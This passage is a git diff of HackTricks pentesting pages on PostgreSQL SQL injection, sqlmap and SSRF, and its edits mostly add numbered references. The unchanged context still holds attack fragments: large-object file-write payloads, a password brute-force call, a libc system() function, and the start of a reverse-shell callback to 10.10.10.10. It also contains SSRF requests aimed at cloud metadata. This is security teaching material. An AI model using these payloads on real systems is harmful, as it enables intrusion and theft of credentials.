SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries. +- Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries.[[2]](#references) -If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses: +If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses:[[2]](#references) ```sql (SELECT 1 FROM (SELECT lo_put(173454, 0, decode('', 'hex'))) AS _) @@ -123,19 +123,18 @@ Another practical trick for restrictive `CASE`/`ORDER BY` sinks is wrapping `lo_ SELECT lo_put(173454, 4096, decode('', 'hex')); ``` -This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk. +This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.[[2]](#references) ## Limitations -- Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it. +- Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it.[[1]](#references) - Enumerating large objects is usually done via `pg_largeobject_metadata`; modern versions do not keep `pg_largeobject` world-readable like older releases did. - `lo_import` and `lo_export` access the **server** file system as the PostgreSQL OS user, so by default they are restricted to superusers. If a lower-privileged role has them granted, that is often close to arbitrary file read/write as `postgres`. - If `lo_compat_privileges` is enabled, the post-9.0 large-object privilege checks are disabled for compatibility, which can re-open legacy read/write behavior on misconfigured targets. - - ## References -- [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html) -- [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) +- [1] [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html) +- [2] [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md index 70aedd7a518..3356b11c0db 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md @@ -2,11 +2,12 @@ {{#include ../../../banners/hacktricks-training.md}} -**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.** +**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**[[1]](#references) **Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) -{{#include ../../../banners/hacktricks-training.md}} - +## References +- [1] [PDKT-Team - FBCTF 2019 hr_admin_module writeup](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 4db9a50d993..b94122e83c7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt). +**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).[[1]](#references) Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): @@ -14,7 +14,7 @@ Once you have dblink loaded you could be able to perform some interesting tricks ### Privilege Escalation -The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like: +The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:[[1]](#references) ``` local all all trust @@ -50,7 +50,7 @@ SELECT * FROM dblink('host=127.0.0.1 ### Port Scanning -Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_. +Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.[[1]](#references) ```sql SELECT * FROM dblink_connect('host=216.58.212.238 @@ -108,7 +108,8 @@ $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ``` -{{#include ../../../banners/hacktricks-training.md}} - +## References +- [1] [Having Fun With PostgreSQL](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md index 919cfe491ac..c71ad56b072 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**. +**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.[[1]](#references) PL/pgSQL is a **fully featured programming language** that extends beyond the capabilities of SQL by offering **enhanced procedural control**. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment. @@ -38,7 +38,7 @@ CREATE EXTENSION dblink; ## Password Brute Force -Here how you could perform a 4 chars password bruteforce: +Here how you could perform a 4 chars password bruteforce:[[1]](#references) ```sql //Create the brute-force function @@ -118,7 +118,8 @@ $$ LANGUAGE 'plpgsql' select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` -{{#include ../../../banners/hacktricks-training.md}} - +## References +- [1] [Having Fun With PostgreSQL](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 52b05257892..f39e0d0a5ce 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -14,7 +14,7 @@ Also, keep in mind that **if you don't know how to** [**upload files to the vict **For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** -The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). +The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).[[1]](#references)[[2]](#references) ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; @@ -79,7 +79,7 @@ ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magi HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` -This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html): +This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):[[3]](#references) > To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h: > @@ -87,7 +87,7 @@ This error is explained in the [PostgreSQL documentation](https://www.postgresql > `PG_MODULE_MAGIC;`\ > `#endif` -Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility. +Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.[[1]](#references)[[2]](#references) #### Compile the library @@ -195,7 +195,7 @@ SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` -In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell: +In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:[[4]](#references) ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" @@ -289,7 +289,7 @@ In the **latest versions** of PostgreSQL, restrictions have been imposed where t Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables. -A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system. +A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.[[5]](#references) #### Attack flow @@ -311,7 +311,7 @@ _Note that you don't need to append the `.dll` extension as the create function For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ -In the same page this **exploit to automate** this technique was given: +In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python #!/usr/bin/env python3 @@ -353,7 +353,10 @@ print(" drop function connect_back(text, integer);") ## References -- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) -- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084) +- [1] [PostgreSQL 9.x Remote Command Execution](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) +- [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) +- [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) +- [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md index ceef8431260..587f042baf5 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md @@ -43,7 +43,7 @@ Most of the scripting languages you can install in PostgreSQL have **2 flavours* > CREATE EXTENSION plrubyu; > ``` -Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one. +Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.[[1]](#references) ## plpythonu/plpython3u @@ -323,6 +323,8 @@ Check the following page: rce-with-postgresql-extensions.md {{#endref}} -{{#include ../../../banners/hacktricks-training.md}} +## References +- [1] [Installing Untrusted PL/Ruby for PostgreSQL](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index 03d5ee638b8..f95b518c1ab 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -26,7 +26,7 @@ ### Technique flags (`--technique`) The `--technique` argument defines which SQL injection methods sqlmap will attempt. -Each character in the string represents a technique: +Each character in the string represents a technique:[[2]](#references) | Letter | Technique | Description | | ------ | --------- | ----------- | @@ -213,18 +213,20 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | | luanginxmore.py | POST-only tamper that prepends millions of dummy parameters to exhaust Lua‑Nginx WAF parsers (e.g., Cloudflare). | -`luanginxmore` generates ~4.2M random POST parameters before your payload; use it only with `--method=POST` and expect large request sizes to crash poorly configured Lua-Nginx WAFs. +`luanginxmore` generates ~4.2M random POST parameters before your payload; use it only with `--method=POST` and expect large request sizes to crash poorly configured Lua-Nginx WAFs.[[3]](#references) ## Recent switches worth enabling (>=1.9.x) -* **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS. +* **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.[[4]](#references) * **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling. * **Offline / purge modes**: `--offline` reuses cached session data without touching the target (zero network traffic), while `--purge` securely wipes the session/output directory when you’re done. * **Mobile UA emulation**: `--mobile` prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients. ## References -- [SQLMap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage) -- [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/) -- [luanginxmore tamper (sqlmap GitHub)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/tamper/luanginxmore.py) + +- [1] [SQLMap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage) +- [2] [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) +- [3] [luanginxmore tamper (sqlmap GitHub)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/tamper/luanginxmore.py) +- [4] [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index 033d897d683..550f8df4884 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -40,7 +40,7 @@ Each letter corresponds to a different class of payloads: | Q | Inline / out-of-band | Utilises functions such as `LOAD_FILE()` or DNS exfiltration to extract data | The default order that sqlmap will follow is `BEUSTQ` (all techniques). -You can change both the order and the subset. For instance, the following command will **only** attempt UNION query and Time-based blind techniques, trying UNION first: +You can change both the order and the subset. For instance, the following command will **only** attempt UNION query and Time-based blind techniques, trying UNION first:[[1]](#references) ```bash sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch @@ -250,9 +250,8 @@ Remember that **you can create your own tamper in python** and it's very simple. ## References -- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) - -{{#include ../../../banners/hacktricks-training.md}} +- [1] [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md index 96c8ef03289..f27502f2abb 100644 --- a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md @@ -80,7 +80,7 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy ## Useful switches in real second-order flows -Second-order automation usually fails because the **payload storage request works**, but the **execution request is noisy, stateful, or protected**. When that happens, the following flags are usually more useful than adding more payloads: +Second-order automation usually fails because the **payload storage request works**, but the **execution request is noisy, stateful, or protected**. When that happens, the following flags are usually more useful than adding more payloads:[[1]](#references) ```bash sqlmap -r login.txt -p email \ @@ -127,9 +127,9 @@ def postprocess(page, headers=None, code=None): ## Important limitations - Do **not assume** that `--second-req` will replay the same payload inside a `*` placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a custom `tamper`, `--preprocess`, or a local proxy is usually required. -- Do **not rely on** `--eval` for the second request. Official usage documents `--eval` for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead. +- Do **not rely on** `--eval` for the second request. Official usage documents `--eval` for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.[[1]](#references) -This pattern is especially useful when the payload is stored in places such as: +This pattern is especially useful when the payload is stored in places such as:[[2]](#references) - Filenames or image metadata that are queried later - Registration/profile fields later consumed by admin panels @@ -138,8 +138,8 @@ This pattern is especially useful when the payload is stored in places such as: ## References -- [sqlmap official usage wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage) -- [Second Order SQLi: Automating with sqlmap](https://jlajara.gitlab.io/Second_order_sqli) +- [1] [sqlmap official usage wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage) +- [2] [Second Order SQLi: Automating with sqlmap](https://jlajara.gitlab.io/Second_order_sqli) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 2dd5c5c9cf3..47d370b90aa 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -47,7 +47,7 @@ Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger. - **LDAP://** - This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - **SMTP** - - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information. + - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.[[1]](#references)[[2]](#references) ``` From https://twitter.com/har1sec/status/1182255952055164929 @@ -123,7 +123,7 @@ Analytics software on servers often logs the Referrer header to track incoming l ## SSRF via SNI data from certificate -A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration: +A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:[[3]](#references) ``` stream { @@ -144,7 +144,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ## SSRF via TLS AIA CA Issuers (Java mTLS) -Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs. +Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs.[[6]](#references)[[7]](#references) - **Requirements**: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI. - **Triggering SSRF** (Java 21 example): @@ -229,7 +229,7 @@ if __name__ == "__main__": ## Misconfigured proxies to SSRF -Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). +Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).[[4]](#references) ### Flask @@ -311,7 +311,7 @@ Connection: close ### Reverse proxies that accept absolute URLs in the request line (open forward-proxy) -Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet. +Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet.[[8]](#references) Key points: - **Request line controls destination**: the authority in the absolute URL overrides normal routing; the `Host` header is usually ignored. @@ -375,7 +375,7 @@ The difference between a blind SSRF and a not blind one is that in the blind you ### From blid to full abusing status codes -According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it. +According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.[[12]](#references) However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it. @@ -411,7 +411,7 @@ Note that this is interesting to leak status codes that you couldn't leak before ### HTML-to-PDF renderers as blind SSRF gadgets -Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `` or `` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you. +Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `` or `` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.[[5]](#references) ``` @@ -432,7 +432,7 @@ Hardeners should strip external URLs before rendering or isolate the renderer in Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls. -A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives: +A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:[[9]](#references)[[10]](#references) - **Persistent SSRF / forced download**: URL-like prefixes (`http://`, `https://`, `ftp://`, `ftps://`) make CFITSIO fetch remote content. The **outfile** syntax then writes the response body to a local path controlled by the attacker: @@ -465,7 +465,7 @@ $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/to ### Mitigations -- Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths. +- Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths.[[11]](#references) - Treat extended filename syntaxes as **privileged features** and disable or gate them for attacker-controlled input. - Reject or strictly sanitise metacharacters that switch parser modes (`(`, `)`, `[`, `]`, CR, LF, scheme prefixes) before calling EFS-aware APIs. @@ -525,16 +525,17 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab ## References -- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) -- [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) -- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) -- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) -- [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk) -- [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1) -- [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/) -- [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html) -- [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html) -- [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html) +- [1] [SSRF Payloads](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) +- [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) +- [3] [SSRF Vulnerabilities Caused by SNI Proxy Misconfigurations](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) +- [4] [Exploiting HTTP Parsers' Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) +- [5] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) +- [6] [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk) +- [7] [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1) +- [8] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/) +- [9] [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html) +- [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html) +- [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html) +- [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 38679df55a4..77a8b071069 100644 --- 